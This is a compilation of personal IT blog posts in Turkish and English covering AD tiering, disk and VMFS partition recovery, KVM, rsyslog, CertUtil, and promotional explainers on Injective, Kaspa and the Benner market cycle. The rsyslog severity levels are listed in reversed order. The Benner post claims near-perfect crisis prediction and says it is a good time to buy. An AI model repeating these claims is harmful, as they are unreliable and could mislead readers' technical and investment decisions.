kendi katmanı , alt katmanlar vb.] sağlar. bu katman/seviyeler arasında erişim kontrolleri ve izinler sağlayarak, veriye erişimi sınırlamayı temel alır. Bu sayede, kritik sistemlere erişimi olan bu hesapları daha sıkı bir şekilde kontrol ederken, olası tehditlere karşı korumaya yardımcı olur. Genellikle Tier 0, Tier 1 ve Tier 2 [xx... ] gibi seviyelerden oluşur. Tier 0 (Yüksek Güvenlik Seviyesi): Tier 0, en üst seviyedeki kritik sistemlere ve verilere erişimi olan kullanıcıları ve rolleri içerir. Bu seviye, genellikle Domain Controllerlar, CA Server, Veri tabanları ve benzeri kritik altyapı sistemlerini yöneten hesapları kapsar. Tier 0 hesapları, sadece özel durumlarda ve güvenlik kontrollerinden geçerek kullanılmalıdır. Tier 1 (Orta Seviye Güvenlik): Tier 1, sunucu ve uygulama yönetimi gibi önemli sistemlere erişimi olan kullanıcıları ve rolleri içerir. Bu seviyedeki hesaplar, genellikle sunucu yönetimi, uygulama yönetimi gibi rolleri kapsar. Tier 1 hesapları, Tier 0'dan daha yaygın olarak kullanılabilir, ancak yine de dikkatli bir şekilde kontrol edilmelidir. Tier 2 (Düşük Güvenlik Seviyesi): Tier 2, genellikle masaüstü kullanıcıları ve diğer genel kullanıcılar için ayrılmıştır. Bu seviyedeki hesaplar, genellikle ofis uygulamalarına, dosya paylaşımına ve benzeri kaynaklara erişim sağlar. Tier 2 hesapları, daha geniş bir kullanıcı kitlesine hizmet vermek için kullanılır, ancak yine de güvenlik politikalarına uygun şekilde yönetilmelidir. Örnek Yapı: Realm of AD ----------------------------- | Tier 0 | ----------------------------- | -AD Domain Controllers | | -AD Certificate | | -Authority (CA) | | -Critical Services | | - | | | | Allow Access From: | | - Tier 0 | ----------------------------- /\ || ╔════╗ ║Denied!║ ╚════╝ || \/ ----------------------------- | Tier 1 | ----------------------------- | -Authentication Services | | -DNS Servers | | -DHCP Servers | | - | | | | Allow Access From: | | - Tier 1 | ----------------------------- /\ || ╔════╗ ║Denied!║ ╚════╝ || \/ ----------------------------- | Tier 2 | ----------------------------- | -File and Print Servers | | -Application Servers | | -Web Servers | | - | | | | Allow Access From: | | - Tier 2 | ----------------------------- --- ## About BTRFS Link: https://farukguler.com/posts/about-btrfs/ Btrfs (B-tree file system), Linux işletim sistemi için geliştirilen bir dosya sistemidir. Günümüzde yaygın olarak kullanılan diğer dosya sistemlerinden farklı olarak, Btrfs bir dizi yenilikçi özellik sunar ve özellikle veri bütünlüğü, veri yedekleme, performans ve esnek yönetim konularında avantajlar sağlar. Docs:https://btrfs.readthedocs.io/en/latest/https://snapcraft.io/install/btrfs-progs/rhel --- ## Cannot Extend C Drive in Windows Server 2022 Link: https://farukguler.com/posts/cannot-extend-c-drive-in-windows-server-2022/ In the latest versions of Windows Server 2022 and Windows 10, the Recovery Partition usually comes after the "C" drive. This can cause problems when you want to extend the "C" drive in virtualization environments. Deleting the recovery partition generally does not affect the boot or operation of the system. Also note that you can re-create the recovery partition if necessary. ***However, make sure to back up your data before doing this! #CMD Run as admindiskpartlist diskselect disk number***sel disk [0, 1, 2...]list partselect healthy recovery partition number***sel part [0, 1, 2...]delete partition override --- ## Injective (INJ) Nedir? Finans için Optimize Edilmiş Blockchain Link: https://farukguler.com/posts/injective-protocol-nedir/ Injective (INJ), yeni nesil merkeziyetsiz finans (DeFi) uygulamaları oluşturmak için özel olarak tasarlanmış, açık ve birlikte çalışabilir bir Layer 1 (Katman 1) blockchain’dir. Temel amacı, geleneksel finansın (TradFi) hız ve verimliliğini, blockchain’in şeffaflık ve güvenliği ile birleştiren bir altyapı sunmaktır. Cosmos SDK ve Tendermint konsensüs mekanizması üzerine inşa edilen Injective, saniyede binlerce işlemi (TPS) yönetebilen, son derece hızlı ve neredeyse sıfır gas ücreti sunan bir ağdır. Injective, tek bir uygulama (dApp) değildir; bunun yerine, geliştiricilerin üzerine karmaşık finansal ürünler (spot, vadeli işlemler, opsiyonlar, RWA) inşa edebileceği temel bir altyapı katmanıdır. Injective’in Çözdüğü Problem Nedir? Geleneksel DeFi protokolleri, özellikle Ethereum ağı üzerindekiler, iki büyük sorunla karşı karşıyadır: Yüksek Gas Ücretleri: Ağ yoğunluğunda işlem ücretleri fahiş seviyelere çıkabilir. Yavaş Hız ve Ölçeklenebilirlik: İşlemlerin onaylanması zaman alır ve ağın kapasitesi sınırlıdır. Merkezi borsalar (CEX - Binance, Coinbase vb.) bu hız ve maliyet sorunlarını çözer, ancak karşılığında kullanıcı varlıklarının velayetini (custody) alır ve şeffaflıktan ödün verirler. Injective, bu iki dünyanın en iyi yönlerini birleştirmeyi hedefler: Merkezi bir borsanın (CEX) performansına sahip, ancak tamamen merkeziyetsiz (DEX) ve güvenli bir altyapı. Injective’in Kilit Teknolojileri ve Özellikleri Injective’i diğer Layer 1’lerden ayıran birkaç temel teknoloji bulunmaktadır: 1. Tamamen Merkeziyetsiz On-Chain Order Book (Emir Defteri) Uniswap gibi birçok DEX, Otomatik Piyasa Yapıcı (AMM) modelini (havuz sistemi) kullanır. Injective ise, geleneksel finans borsalarında bulunan on-chain (zincir üstü) emir defteri modelini temel alır ve bunu merkeziyetsiz hale getirir. Bu sayede kullanıcılar, AMM’lerin basit “takas” (swap) işlevinin aksine, “Limit Emir”, “Stop-Loss” ve “Take-Profit” gibi gelişmiş ticaret emirleri verebilirler. Bu emir defteri tamamen merkeziyetsizdir ve ağın doğrulayıcıları (validators) tarafından yönetilir, bu da onu sansüre dayanıklı hale getirir. 2. Geliştiriciler için “Plug-and-Play” Finans Modülleri Injective, finans uygulamaları oluşturmayı kolaylaştıran hazır modüller sunar. Geliştiriciler, sıfırdan bir borsa, merkeziyetsiz bir oracle veya bir varlık yönetim protokolü yazmak yerine, Injective’in hazır finansal altyapısını (örn. emir defteri modülü, oracle modülü) kullanarak hızla kendi uygulamalarını başlatabilirler. Bu, onu “finans için app-chain” oluşturma platformu yapar. 3. Cosmos SDK ve IBC Protokolü Injective, Cosmos ekosisteminin bir parçasıdır. Bu, ona iki büyük avantaj sağlar: Tendermint PoS: Yüksek hız (düşük blok süreleri) ve anında kesinlik (finality) sunan bir Proof-of-Stake (PoS) konsensüs mekanizması kullanır. IBC (Inter-Blockchain Communication): Cosmos ekosistemindeki diğer tüm blockchain’ler (örn. Cosmos Hub, Kujira, Osmosis) ile doğal olarak varlık ve veri transferi yapabilir. 4. Geniş Birlikte Çalışabilirlik (Interoperability) Injective, sadece Cosmos ağlarıyla değil, Wormhole gibi köprüler aracılığıyla Ethereum, Solana ve Polygon gibi büyük ekosistemlerle de tam uyumlu çalışır. Bu sayede, farklı zincirlerdeki varlıklar Injective üzerinde serbestçe takas edilebilir. INJ Token: Arz, Ekonomi ve Değer Yakalama INJ, Injective ekosisteminin yerel (native) varlığıdır ve tokenomisi, projenin en güçlü yönlerinden biridir. Token Arzı ve Dağılımı Genesis Arzı: Proje, 100 Milyon INJ token’lık bir başlangıç arzı ile piyasaya sürüldü. Maksimum Arz: INJ’nin bir “hard cap” (sert sınır) maksimum arzı yoktur. Proof-of-Stake ağını güvence altına alan staker’lara ödül olarak enflasyonist bir yapıyla yeni INJ’ler basılır. Kritik Denge: Projenin tüm ekonomik modeli, bu enflasyonist staking ödülleri ile aşağıda açıklanan deflasyonist yakım mekanizması arasındaki dengeye dayanır. INJ Token’ın İşlevleri Staking (Güvenlik): INJ token’ları, ağın Proof-of-Stake güvenliğini sağlamak için doğrulayıcılara kilitlenir (stake edilir). Stake edenler, karşılığında enflasyon ödülleri alırlar. Yönetişim (Governance): INJ sahipleri, protokolün geleceği hakkında (güncellemeler, yeni modüller, parametre değişiklikleri) oy kullanarak yönetimde söz sahibi olurlar. Protokol Ücret Yakalama ve Yakım (En Güçlü Özelliği): Injective üzerindeki tüm dApp’lerde (uygulamalarda) oluşan işlem ücretlerinin (gas değil, borsa ücretleri) %60’ı toplanır. Bu toplanan ücretler (ETH, USDC, WBTC vb. cinsinden), her hafta bir açık artırmaya çıkarılır. Kullanıcılar, bu ücret sepetini satın almak için INJ token ile teklif verirler. Açık artırmayı kazanan teklifte kullanılan INJ token’larının tamamı geri alınamaz bir şekilde yakılır (burn edilir). Ekonomik Etki: Bu benzersiz mekanizma, protokolün kullanımı arttıkça (daha fazla ücret toplandıkça) piyasadan o kadar fazla INJ token’ının çekilmesini ve yakılmasını sağlar. Eğer yakılan INJ miktarı, staking yoluyla yaratılan yeni INJ miktarını aşarsa, token net deflasyonist hale gelir. Bu, token’ın değerini doğrudan ağın başarısına bağlar. Gelecek Beklentisi: Fırsatlar ve Engeller Injective’in geleceği, sunduğu niş teknolojinin ne kadar benimseneceğine ve pazarın zorlu rekabetine ne kadar dayanabileceğine bağlıdır. Projenin Güçlü Yanları (Potansiyel): Finans Odaklı Tasarım: Diğer genel amaçlı L1’lerin aksine Injective, sadece finans için optimize edilmiştir. On-chain emir defteri, profesyonel trader’lar ve kurumlar için AMM modelinden çok daha çekicidir. Güçlü Deflasyonist Model: Token yakım mekanizması, spekülatif bir beklentiden ziyade, gerçek kullanıma dayalı bir değer yakalama mekanizması sunar. Ağ ne kadar çok kullanılırsa, INJ o kadar kıtlaşır. Ekosistem Gelişimi: Helix (DEX), Mito (Launchpad & Vaults) ve Talis (NFT) gibi yerel dApp’ler, platformun sadece bir “teori” olmadığını, çalışan bir ekosistemi olduğunu kanıtlamaktadır. Projenin Önündeki Engeller (Zorluklar): Şiddetli Rekabet: Layer 1 alanı acımasızdır. Injective, sadece Solana ve Aptos gibi diğer yüksek hızlı L1’lerle değil, aynı zamanda Arbitrum ve Optimism gibi devasa Ethereum L2 ekosistemleriyle de rekabet etmek zorundadır. Ayrıca, Cosmos ekosistemi içinde bile dYdX (vadeli işlemler için bir app-chain) gibi doğrudan rakipleri vardır. Merkeziyetçilik Eğilimi: Birçok Proof-of-Stake zincirinde olduğu gibi, Injective’in doğrulayıcı (validator) seti de “top-heavy” olma eğilimindedir. Yani, staking gücünün büyük bir kısmı az sayıda büyük doğrulayıcının elinde toplanabilir, bu da yönetişim ve sansür direnci konusunda endişeler yaratabilir. Kullanıcı Deneyimi (UX): Emir defterleri (order books), ortalama bir DeFi kullanıcısı için Uniswap’in basit “takas” (swap) arayüzünden daha karmaşıktır. Başarısı, ekosistemdeki dApp’lerin bu karmaşıklığı ne kadar iyi gizleyebildiğine bağlıdır. Sonuç Injective, kendisini “finans için inşa edilmiş en hızlı blockchain” olarak konumlandırmaktadır. Geleneksel emir defteri modelini, Cosmos SDK’nın hızı ve IBC’nin birlikte çalışabilirliği ile birleştiren platform, DeFi’nin mevcut sınırlarını zorlamayı hedeflemektedir. Projenin “gerçekliği”, spekülatif bir vaatten çok, kullanıma dayalı deflasyonist token yakım mekanizmasında yatmaktadır. Injective’in başarısı, son derece rekabetçi bir pazarda geliştiricileri ve trader’ları kendi niş (finans odaklı) ekosistemine çekip çekemeyeceğine bağlı olacaktır. --- ## Recovering an Accidentally Deleted VMFS Datastore in VMware ESXi or vSphere Link: https://farukguler.com/posts/recovering-deleted-vmfs-datastore-in-vmware/ Your VMFS datastore attached to an ESXi host or vSphere For example, when a VMware administrator accidentally removes it, or when a disk/LUN with a VMFS partition is disabled/lost due to errors in your storage/backup device, it accidentally chooses Erase instead of Unmount and deletes a VMFS datastore. Let's process the scenario he removed. First of all, don't panic. Do not rebuild the VMFS datastore from the vSphere interface, do not upload files, or do anything that could overwrite the data on the previous VMFS partition on your disk (LUN). As you can see I accidentally deleted 19.75 GB of Lun space, the storage appears to be empty Enable SSH on your ESXi host with the deleted LUN and connect with an SSH Tool SSH partedUtil getptbl /vmfs/devices/disks/mpx.vmhba0:C0:T1:L0 gpt 2610 255 63 41943040 [root@esxi7:~] #The command has returned that there is a GPT on the disk/LUN. Next, you need to get the first and last block of the VMFS partition on the disk.Run the following script in the cli to view a summary of all partitions found on the ESXi host and find the first block of the deleted VMFS partition: SSH offset="128 2048"; for dev in `esxcfg-scsidevs -l | grep "Console Device:" | awk {'print $3'}`; do disk=$dev; echo $disk; partedUtil getptbl $disk; { for i in `echo $offset`; do echo "Checking offset found at $i:"; hexdump -n4 -s $((0x100000+(512*$i))) $disk; hexdump -n4 -s $((0x1300000+(512*$i))) $disk; hexdump -C -n 128 -s $((0x130001d + (512*$i))) $disk; done; } | grep -B 1 -A 5 d00d; echo "---------------------"; done Now we need to disk the last block of the VMFS partition: partedUtil getUsableSectors /vmfs/devices/disks/mpx.vmhba0:C0:T1:L0 # 34 41943006 # [root@esxi7:~] If the command returns the error “Unknown partition table on disk”, manually set the GPT partition label: partedUtil mklabel /vmfs/devices/disks/mpx.vmhba0:C0:T1:L0 gpt Then get a partition table GUID for the VMFS partition. It is always AA31E02A400F11DB9590000C2911D1B8 partedUtil showGuids #You can view all possible partition table GUIDs using this command: Then create a partition table on the disk using the information you have: partedUtil setptbl /vmfs/devices/disks/mpx.vmhba0:C0:T1:L0 gpt "1 2048 41943006 AA31E02A400F11DB9590000C2911D1B8 0" #gpt #0 0 0 0 Check the partitions on the disk again and make sure the VMFS partition is now visible: **Alanim_Data partedUtil getptbl /vmfs/devices/disks/mpx.vmhba0:C0:T1:L0 # gpt # 2610 255 63 41943040 # 1 2048 20971486 AA31E02A400F11DB9590000C2911D1B8 vmfs 0 Now let's mount the VMFS datastore: vmkfstools -V esxcli storage core adapter rescan --all Go to the vSphere client and you will see that the accidentally deleted VMFS datastore has been loaded. You can mount it to the VMware ESXi host manually or via the CLI: Or Mount Command: esxcli storage filesystem list esxcli storage filesystem mount -l Alanim_Data #esxcli storage filesystem unmount -l Alanim_Data Saygılarımla. – Best regards. --- ## Linux KVM (for Kernel-based Virtual Machine) Link: https://farukguler.com/posts/linux-kvm-for-kernel-based-virtual-machine/ https://linux-kvm.org/page/Main_Page#KVM Installation#dnf installqemu-kvmqemu-imgvirt-managerlibvirtlibvirt-pythonlibvirt-clientvirt-installvirt-viewerbrigde-utils#KVM for GUI Management Fonts#dnf installxorg-x11-xauthxorg-x11-fonts-*xorg-x11-utils#KVM for WEB-GUI and othershttps://linux-kvm.org/page/Management_Tools --- ## Kaspa (KAS) Nedir? Blockchain Trilemmasını Çözen BlockDAG Link: https://farukguler.com/posts/kaspa-kas-nedir/ Kaspa (KAS), blockchain teknolojisinin en temel sorunu olan “Trilemma”yı (Güvenlik, Ölçeklenebilirlik ve Merkeziyetsizlik arasında bir denge kurma zorunluluğu) çözmek için tasarlanmış, devrim niteliğinde bir Layer-1 (Katman-1) projesidir. Geleneksel blockchain’lerin (Bitcoin gibi) aksine Kaspa, bir “zincir” (blockchain) yapısı değil, “BlockDAG” (Yönlendirilmiş Asiklik Grafik) adı verilen bir yapı kullanır. Bu yapı, onu şu anda var olan en hızlı ve en ölçeklenebilir Proof-of-Work (PoW) projesi yapmaktadır. Basitçe söylemek gerekirse, Kaspa, Bitcoin’in güvenliğini ve “adil başlangıç” (fair launch) felsefesini alıp, bunu saniyede binlerce işlemi (TPS) kaldırabilecek bir hızla birleştirmeyi hedefler. KAS, bu ağdaki tüm işlem ücretleri için ve madencileri ödüllendirmek için kullanılan yerel (native) kripto para birimidir. “Blockchain Trilemması” ve Kaspa’nın Yaklaşımı Blockchain’lerin çözemediği ünlü bir sorun vardır: Güvenlik (Security): Bitcoin’in PoW ile sağladığı gibi. Merkeziyetsizlik (Decentralization): Herkesin ağa katılabilmesi. Ölçeklenebilirlik (Scalability): Saniyede binlerce işlem yapabilme kapasitesi. Geleneksel blockchain’lerde bu üçünden sadece ikisini seçebilirsiniz. Bitcoin güvenli ve merkeziyetsizdir ama yavaştır (yaklaşık 7 TPS). Solana ölçeklenebilir ve (göreceli) güvenlidir ancak merkeziyetsizliği tartışmalıdır. Kaspa’nın Çözümü: Kaspa, bu üçünü bir arada sunabilmek için blockchain’in doğrusal yapısını terk eder. Kaspa’nın Teknolojisi: BlockDAG ve GHOSTDAG Protokolü Kaspa’nın sırrı, paralel işlemleri nasıl ele aldığındadır. 1. Blockchain vs. BlockDAG Blockchain (Bitcoin): Ağda aynı anda iki geçerli blok bulunursa (iki madenci aynı anda blok bulursa), ağ birini seçmek zorundadır. Diğer blok “yetim” (orphan) kalır ve boşa gider. Bu, hızı sınırlar. BlockDAG (Kaspa): Kaspa, paralel olarak oluşturulan tüm blokların ağa dahil edilmesine izin verir. Hiçbir blok “yetim” kalmaz. Bir zincir yerine, birbirine bağlanan bloklardan oluşan bir “grafik” (ağaç benzeri bir yapı) düşünün. 2. GHOSTDAG Protokolü Peki, paralel bloklar varsa “ana zinciri” kim belirliyor? İşte burada Kaspa’nın kurucusu Yonatan Sompolinsky‘nin (Ethereum whitepaper’ında da atıfta bulunulan GHOST protokolünün ortak yazarı) geliştirdiği GHOSTDAG protokolü devreye girer. GHOSTDAG, bir oylama sistemi gibi çalışır: Ağdaki tüm paralel bloklara bakar. En çok “dürüst” bloğun onayını alan (en “ağır” olan) bloğu ana zincir olarak belirler. Diğer paralel blokları (Bitcoin’in aksine) çöpe atmaz. Onları da “yan zincir” olarak kabul eder ve ağın güvenliğine katkıda bulunmalarını sağlar. Bu sistem, Kaspa’ya iki devasa avantaj sağlar: İnanılmaz Blok Hızı: Kaspa şu anda saniyede bir blok (BPS) hızında çalışmaktadır (Bitcoin 10 dakikada bir). Hedefi ise saniyede 10, hatta 100 bloğa ulaşmaktır. Anında İşlem Onayı: Yüksek blok hızı sayesinde, işlemler saniyeler içinde onaylanır (ortalama 10 saniyede) ve hızla geri döndürülemez hale gelir. Kaspa’nın (KAS) Ayırt Edici Özellikleri Kaspa’yı diğer projelerden ayıran temel felsefesi: %100 “Adil Başlangıç” (Fair Launch): Ön Madencilik (Pre-mine) Yok: Ekip, lansman öncesi kendilerine KAS ayırmadı. Ön Satış (ICO/IEO) Yok: Hiçbir yatırımcıya özel satış yapılmadı. Ekip Tahsisi (Team Allocation) Yok: Ağa giren her bir KAS, sadece madencilik yoluyla çıkarılmak zorundadır. Bu, Kaspa’yı Bitcoin’den bile daha “adil” bir lansmana sahip yapar (Satoshi’nin 1 milyon BTC’lik ön madenciliği hesaba katılırsa). Proof-of-Work (PoW) Güvenliği: Kaspa, en güvenli ve kanıtlanmış konsensüs mekanizması olan PoW’u kullanır. kHeavyHash adı verilen, enerji verimliliğine odaklanan ve gelecekte optik madencilik (fotonik) gibi teknolojilere uyum sağlayabilecek bir madencilik algoritması kullanır. Akıllı Sözleşme Felsefesi (Modülerlik): Kaspa’nın Temel Katmanında (L1) akıllı sözleşmeler bulunmaz. Bu, L1’in hızını ve güvenliğini korumak için alınmış bilinçli bir karardır. Ağ, sadece işlemleri onaylamaya odaklanır. Akıllı sözleşme işlevselliği (DeFi, dApps vb.), gelecekte Kaspa L1’in üzerine inşa edilecek Katman 2 (Layer 2 - Rollup’lar) çözümleri aracılığıyla gelecektir. KAS Tokenomiği: “Kromatik Faz” KAS, Kaspa ağının ekonomik motorudur. Tüm işlem ücretleri KAS ile ödenir ve madenciler KAS ile ödüllendirilir. Maksimum Arz: ~28.7 Milyar KAS Emisyon Programı: Kaspa, Bitcoin’in her 4 yılda bir aniden arzı yarıya indiren “halving” modelini kullanmaz. Bunun yerine “Kromatik Faz” adı verilen bir program kullanır: Blok ödülleri her ay, yumuşak bir eğriyle, geometrik olarak azalır. Bu, Bitcoin’in sert “arz şokları” yerine daha öngörülebilir ve pürüzsüz bir enflasyon (ve sonra deflasyon) modeli yaratır. Tüm KAS arzının madenciliğinin 2037 yılı civarında tamamlanması beklenmektedir. Sonuç Kaspa (KAS), bir “Ethereum katili” olmaya çalışmaz. O, “daha iyi bir Bitcoin” olmaya, yani “dijital gümüş” veya “hızlı dijital nakit” rolünü üstlenmeye çalışır. BlockDAG yapısı sayesinde, Proof-of-Work’un “yavaş ve ölçeklenemez” olduğu yönündeki eski tezi çürütmektedir. %100 adil lansmanı, güçlü akademik temeli (Yonatan Sompolinsky) ve Trilemma’ya getirdiği radikal çözüm ile Kaspa, kripto para dünyasındaki en temel ve en yenilikçi Layer-1 projelerinden biri olarak kabul edilmektedir. --- ## Periods When to Make Money by Samuel Benner Link: https://farukguler.com/posts/Periods-When-to-Make-Money/ Benner Döngüsü, 150 yıldır piyasa hareketini nasıl doğru tahmin ediyor? Samuel Benner, 19. yüzyılın başlarında Ohio’lu bir çiftçi olarak, ekonomideki piyasa döngülerinin nasıl çalıştığını merak etti. Bu merakı onu 1875 yılında ‘Trends and Phases of Business’ adlı bir kitap yazmaya itti. Kitapta, iş ve emtia fiyatlarının gelecekteki yönünü tahmin etmek için kullandığı yöntemi açıkladı. Benner, piyasa hareketlerinin bir dizi yıllık döngüde tekrarlandığını keşfetti ve bu döngülerin panik yılları, iyi zaman yıllarını ve zor zaman yıllarını içerdiğini belirledi. Örneğin, panik yılları genellikle ortalama ekonomik faaliyetin düşük olduğu yıllardır ve işsizlik oranları yükselirken, varlık fiyatları da düşer. Benner Döngüsü ayrıca 1929’daki Büyük Buhran, 2000’lerdeki Dotcom Balonu ve 2020’deki COVID krizi gibi büyük ekonomik olayları da doğru bir şekilde tahmin etti. Şimdi ise Samuel Benner’ın bu üçe ayırdığı dönemler olan; Panik Yılları, İyi Zamanları ve Zor Zamanları detaylı bir şekilde açıklayalım: A- Panik Yılları Bu yıllar, piyasanın dalgalanmaları nedeniyle hisse senetlerinin fiyatlarında aşırı oynaklıkların yaşandığı yıllardır. Bu dönemlerde yatırımcılar, hisse senetlerini mantıksızca ya alıp ya da satıp fiyatlarını tavan yaptırarak veya dip seviyelere düşürerek piyasayı etkilerler. Piyasanın paniklediği dönemlerde yatırımcılar genellikle kısa vadeli hedeflerle hareket ederler ve piyasanın o anki durumuna göre hisse senedi alıp satma kararları alırlar. Bu kararlar, piyasa koşullarının aşırı dalgalanması nedeniyle çoğunlukla irrasyonel olur. Bu panik dönemlerinde, bir hisse senedinin fiyatı ya inanılmaz derecede düşük bir seviyeye kadar düşer veya tam tersine beklenmedik bir şekilde yükselir. Bu nedenle, yatırımcıların bu panik dönemlerinde yatırım yaparken çok dikkatli olmaları gerekmektedir. Eğer doğru kararlar alırlarsa, büyük kazançlar elde edebilirler. Ancak, hatalı kararlar alırlarsa, ciddi kayıplarla karşılaşabilirler. B- İyi Zamanlar Bu dönemler, yüksek fiyatların gözlendiği ve satış yapmak için en uygun zamanların geldiği yıllardır. Bu zamanlarda, yatırımcılar ellerindeki hisse senetleri, değerli kağıtlar ve diğer varlıkları en iyi fiyatlardan satabilirler. Bu nedenle, Benner’ın “İyi Zamanlar” olarak tanımladığı yıllar, yatırımcılar için fırsat dolu zamanlar olarak kabul edilir. Ancak bu dönemlerin uzun sürmeyeceği ve sonrasında diğer dönemlere geçileceği de unutulmamalıdır. C- Zor Zamanlar Bu yıllarda, hisse senetleri, mallar ve varlıklar satın almayı ve iyi zamanların “patlama” yıllarına kadar elde tutmayı, sonra da elden çıkarmayı öneriyor. 100+ Yıldır “Kesin Olan Şey” Yukarıda görüntüsü yer alan kartının altına “Kesin olan şey.” yazan Samuel Benner’ın yatırım stratejisi, 100 yıldan uzun bir süredir neredeyse mükemmel bir başarı elde etmiştir. Başarılı bir Ohio çiftçisi olan Benner için, 1873 piyasa paniği onun için büyük bir darbe olmuş ve onu iflas ettirmiştir. Bu durumun nedenini anlamaya çalışırken, Benner piyasa döngüleri kavramını keşfetmiştir. Bir çiftçi olarak, Samuel bitki yetiştirme mevsimlerinin ürünlere etki ettiğini ve bunun da arz ve talebi etkilediğini, bu durumun da fiyatlara yansıdığını biliyordu. Benner bu döngülerin daha derinine inerek mısır ve domuz fiyatlarında 11 yıllık bir döngü olduğunu ve her 5/6 yılda bir zirveye ulaştığını keşfetti. Bu, 11 yıllık güneş döngüsüne uyuyordu. Benner bu güneş döngüsünün ürün verimliliğini etkilediğini, bunun da geliri, arz/talebi ve fiyatları etkilediğini hesapladı. Benner Döngüsü’nün Diğer Analizleri Benner döngüsü ayrıca demir fiyatlarında 27 yıllık bir döngü kullanır. Bu döngüde düşüşler 11, 9 ve 7 yılda bir olurken, zirveler 8, 9 ve 10 yılda bir gerçekleşir. Piyasa geçmişini incelemek, bu döngülerin fiyatı nasıl etkilediğini ve bugün hala fiyatları nasıl etkilediğini öğrenmenize yardımcı olur. Şu anda ise bu analize göre zor zamanlardayız ve varlık fiyatlarının düştüğü bir dönemdeyiz ve varlık satın almak için iyi bir zaman olduğunu gösteriyor. Teşekkürler: İbrahim COŞAR (BİTCOŞAR) --- ## Debian Linux Cheat Sheet IV [ RSYSLOG ] Link: https://farukguler.com/posts/debian-linux-cheat-sheet-iv-rsyslog/ The rocket-fast Syslog Server [ RSYSLOG ] Syslog is a log management protocol used in UNIX-like operating systems and network devices. Creates, collects and distributes log messages. It usually contains information such as system events, error conditions and application logs. Syslog is used to collect, store and analyze log data through a central server. #Rsyslog Installation:sudo apt-get updatesudo apt-get install rsyslog#Conf. File:/etc/rsyslog.conf#Redirect of Log Files: Edit:*************************************************************#Writing system logs to /var/log/syslog file:auth,authpriv.* /var/log/auth.log#Redirecting "auth" and "authpriv" external logs to /var/log/syslog file:*.*;auth,authpriv.none -/var/log/syslog#Sending logs to a remote syslog server:*.* @siemremote.guler.com:514#Redirecting All Logs to a Specific File:*.*  /var/log/all.log#Redirecting Only SSH Logs to a Specific File:if $programname == 'sshd' then /var/log/sshd.log#Separating Only Logs for User Transactions:user.* /var/log/user.log***************************************************************# Directs "auth and authpriv" logs to a separate file.# Directs all logs except "auth and authpriv" to /var/log/syslog file.#Also sends all logs to a specific remote syslog server.#Redirects All Logs to a Specific File.#Only redirects SSH Logs to a Specific File.#Redirects user logs to /var/log/user.log file.#System Log Files:/var/log/var/log/syslog/var/log/auth.log...........#Real time log reading:sudo tail -f /var/log/syslog#The Service:sudo systemctl status rsyslogsudo service rsyslog stopsudo service rsyslog startsudo service rsyslog restartsudo systemctl enable rsyslog#sudo systemctl disable rsyslog#Severity Level:0 Debug: Ayrıntılı hata ayıklama bilgileri.1 Info: Bilgi amaçlı mesajlar.2 Notice: Normal ama önemli koşullar.3 Warning: Uyarı mesajları.4 Error: Hata durumları.5 Critical: Kritik hata durumları.6 Alert: Anında dikkat gerektiren durumlar.7 Emergency: Sistem çökmüş durumda.#Facility Code Keyword Description:0 kern Kernel messages1 user User-level messages2 mail Mail system3 daemon System daemons4 auth Security/authentication messages5 syslog Messages generated internally by syslogd6 lpr Line printer subsystem7 news Network news subsystem8 uucp UUCP subsystem9 cron Cron subsystem10 authpriv Security/authentication messages11 ftp FTP daemon12 ntp NTP subsystem13 security Log audit14 console Log alert15 solaris-cron Scheduling daemon16–23 local0 – local7 Locally used facilities Öğrenmeye aç kalın – Be hungry to learn --- ## Derinlemesine CertUtil - In-depth CertUtil Link: https://farukguler.com/posts/derinlemesine-certutil-in-depth-certutil/ 1. Giriş ve Genel Bakış Kurumsal IT altyapılarında Public Key Infrastructure (PKI), güven zincirinin en kritik bileşenidir. Sertifikaların yönetimi, iptali, doğrulanması ve dağıtımı sürecinde görünmez ama hayati görevler üstlenir. Grafiksel araçların (MMC) yetersiz kaldığı noktada CertUtil devreye girer. CertUtil, Windows Server’da yerleşik gelen ve CA (Certification Authority) yönetiminden sertifika doğrulamaya, CRL testlerinden yedekleme/geri yüklemeye kadar geniş bir yelpazede kullanılan komut satırı aracıdır. 2. 5N1K: CertUtil Nedir? Ne?: Windows ortamında PKI yönetimi, sertifika doğrulama, CRL/AIA/CDP testleri ve CA bakım görevlerini yapan yerleşik komut satırı aracıdır. Neden?: Grafik arayüzlerin gösteremediği detayları görmek, otomasyon sağlamak, hızlı sorun çözmek ve güvenlik denetimlerinde kanıt sunmak için kullanılır. Nasıl?: certutil <komut> [parametreler] (Örn: certutil -store My) Nerede?: Hem istemci hem sunucu makinelerde; özellikle Enterprise CA, Issuing CA, Offline Root CA ve Subordinate CA katmanlarında. Ne zaman?: Sertifika yenileme, hizmet kesintisi, CRL erişim hatası, zincir doğrulama problemi veya denetim raporu hazırlanması gerektiğinde. Kim?: Sistem yöneticileri, PKI yöneticileri, güvenlik analistleri, denetim ekipleri ve olay müdahale uzmanları. 3. Avantajlar ve Dezavantajlar ✅ Avantajlar ❌ Dezavantajlar Yerleşik Araçtır: Ekstra kurulum gerekmez, tüm Windows sistemlerde hazırdır. Öğrenme Eğrisi Yüksek: Komut sayısı fazla, parametreler karmaşık. Derinlemesine Analiz: GUI’nin göremediği zincir hataları ve CRL problemlerini gösterir. Yanlış Kullanım Riski: -setreg gibi komutlar hatalı kullanılırsa servis kesintisine yol açabilir. Otomasyon Desteği: PowerShell ve Batch ile entegre edilebilir. Yetki Gereksinimi: Kritik komutlar için CA Admin yetkisi şarttır. CA Yönetiminde Güçlü: Yedekleme, şablon yönetimi, CRL yayımı gibi her şeyi kapsar. Çıktılar Karmaşık: -dump çıktılarını yorumlamak deneyim ister. Denetimlerde Kurtarıcı: Hızlı kanıt sağlar. Üretim Kodunda Kullanım Önerilmez: Microsoft, live site desteği garantisi vermez. 4. Temel Komut Grupları 📂 Sertifika Depoları Sertifikaları listelemek ve incelemek için kullanılır. Store Adları: My, CA, Root, TrustedPublisher, Remote Desktop, AIA, NTAuth. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # Bilgisayarın kişisel sertifika deposunu listeler certutil -store My # Kullanıcı sertifika deposunu gösterir certutil -store -user My # Her sertifikanın zincirini doğrular certutil -verifystore My # AIA container'ını görüntüle certutil -viewstore AIA # NTAuth container'ını görüntüle certutil -viewstore NTAuth # Depoya sertifika ekle (TrustedPublisher) certutil -addstore TrustedPublisher cert.cer # Depodan sertifika sil (Seri numarası ile) certutil -delstore My "1A 2B 3C ..." Kullanım Senaryosu: Exchange veya IIS hizmet sertifikası görünmüyorsa -store My ile bakılır. 